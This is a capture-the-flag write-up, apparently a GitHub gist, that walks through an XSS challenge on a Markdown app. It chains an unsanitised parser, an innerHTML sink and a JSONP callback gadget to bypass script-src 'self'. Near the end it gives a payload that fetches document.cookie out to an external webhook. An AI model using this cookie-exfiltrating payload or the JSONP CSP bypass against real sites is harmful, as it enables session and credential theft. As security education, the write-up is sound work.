Skip to content

Instantly share code, notes, and snippets.

@omkar7505
Last active February 19, 2026 08:49
Show Gist options
  • Select an option

  • Save omkar7505/c6828888806fe03178d596f241434e06 to your computer and use it in GitHub Desktop.

Select an option

Save omkar7505/c6828888806fe03178d596f241434e06 to your computer and use it in GitHub Desktop.

Intigriti Challenge 0226 - Write-up

In this challenge, we are presented with a markdown based application called "InkDrop." The goal is to steal the flag from the administrator ("Moderator") by exploiting a Cross-Site Scripting (XSS) vulnerability.

Code Review & The Vulnerable Parser

The application allows users to create posts using Markdown. While reviewing app.py, I found that it uses a custom regex based parser instead of a standard library like markdown-it or bleach.

While the parser effectively converts markdown syntax (like **bold** or ### Header) into HTML, it fails to sanitize or escape existing HTML tags.

# app.py
def render_markdown(content):
    html_content = content
    # ... (Regex substitutions for headers, bold, etc) ...
    html_content = re.sub(r'\[(.+?)\]\((.+?)\)', r'<a href="\2">\1</a>', html_content)
    html_content = html_content.replace('\n\n', '</p><p>')
    html_content = f'<p>{html_content}</p>'
    return html_content

Since html_content is initialized with the raw input (content) and never sanitized, any HTML tags we inject (e.g., <script>, <img>, <iframe>) are rendered directly into the page.


Client-Side Rendering & The Injection Point

The frontend uses static/js/preview.js to fetch the rendered post and display it. It uses .innerHTML, which is a classic XSS sink.

// static/js/preview.js
fetch('/api/render?id=' + postId)
    .then(response => response.json())
    .then(data => {
        const preview = document.getElementById('preview');
        preview.innerHTML = data.html; // [!] Injection Sink
        processContent(preview);
    });

Typically, adding a <script> tag via .innerHTML does not execute the script due to a browser security feature. However, the developers included a helper function, processContent, which manually recreates and executes specific scripts:

function processContent(container) {
    const scripts = container.querySelectorAll('script');
    scripts.forEach(function(script) {
        // [!] The Condition: Script is executed ONLY if src contains '/api/'
        if (script.src && script.src.includes('/api/')) {
            const newScript = document.createElement('script');
            newScript.src = script.src;
            document.body.appendChild(newScript);
        }
    });
}

This logic introduces a specific constraint. we can execute JavaScript, but only if the script source includes /api/.

The CSP Barrier

Even with the ability to inject scripts, we hit a wall. The application enforces a Content Security Policy (CSP) defined in post_view.html:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src * data:; connect-src *;">
  • script-src 'self': Scripts can only be loaded from the same origin (domain) as the application.
  • We cannot use <script src="http://attacker.com/evil.js">.

We need a script that:

  1. Is hosted on the challenge server (satisfies script-src 'self').
  2. Contains /api/ in the URL (satisfies the processContent check).
  3. Allows us to execute arbitrary JavaScript code.

The JSONP Bypass

Examining app.py again, I found a JSONP (JSON with Padding) endpoint designed to return user data.

# app.py
@app.route('/api/jsonp')
def api_jsonp():
     # 1. User controls the callback name
     callback = request.args.get('callback', 'handleData')

     # 2. Simple sanitization (easy to bypass for JS execution)
     if '<' in callback or '>' in callback:
         callback = 'handleData'

     user_data = { ... }

     # 3. Reflection: The input is reflected directly into the response
     response = f"{callback}({json.dumps(user_data)})"
     return Response(response, mimetype='application/javascript')

Why this works as a gadget:

  1. Origin: It is hosted on the same domain, bypassing CSP.
  2. Path: It includes /api/, satisfying the preview.js loader.
  3. Reflection: It reflects the callback parameter into the JavaScript response.

If we request /api/jsonp?callback=alert(1)//, the server responds with:

alert(1)//({"authenticated": false, ...})

This is valid JavaScript that executes alert(1).


The Bot & The Flag

The final piece of the puzzle is understanding the target. The bot/bot.py script simulates an admin visiting the post.

context.add_cookies([{
    'name': 'flag',
    'value': FLAG,
    'httpOnly': False, // [!] Vulnerability
    ...
}])

Since httpOnly is set to False, the cookie can be accessed via JavaScript using document.cookie.


The Final Exploit

We combine the findings into a single payload.

The Strategy:

  1. Create a markdown post containing a <script> tag.
  2. Set the src to the local JSONP endpoint.
  3. Use the callback parameter to inject our malicious JS code.
  4. The JS code will fetch the flag and send it to our webhook.

The Payload:

<script src="/api/jsonp?callback=fetch('https://webhook/?c='+document.cookie);//"></script>

Steps To Reproduce:

  1. Create a post with the above payload.
  2. Report the post to the moderator (the bot).
  3. The bot visits the post:
    • preview.js fetches the rendered HTML.
    • .innerHTML injects the script tag.
    • processContent detects the script, sees its src has /api/, and loads it into DOM.
    • The browser loads the script from /api/jsonp?callback=... (allowed by CSP).
    • The JSONP response is executed: fetch(...) sends document.cookie to our webhook.
  4. We receive the flag in our webhook logs.

Flag: INTIGRITI{...}


Conclusion

This challenge demonstrated a classic "Script Gadget" attack. Even with a strict CSP like script-src 'self', apps can still be at risk if they have endpoints (like JSONP) that reflect user input into JavaScript. Using a strong HTML sanitizer like DOMPurify before rendering Markdown could have prevented this problem.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment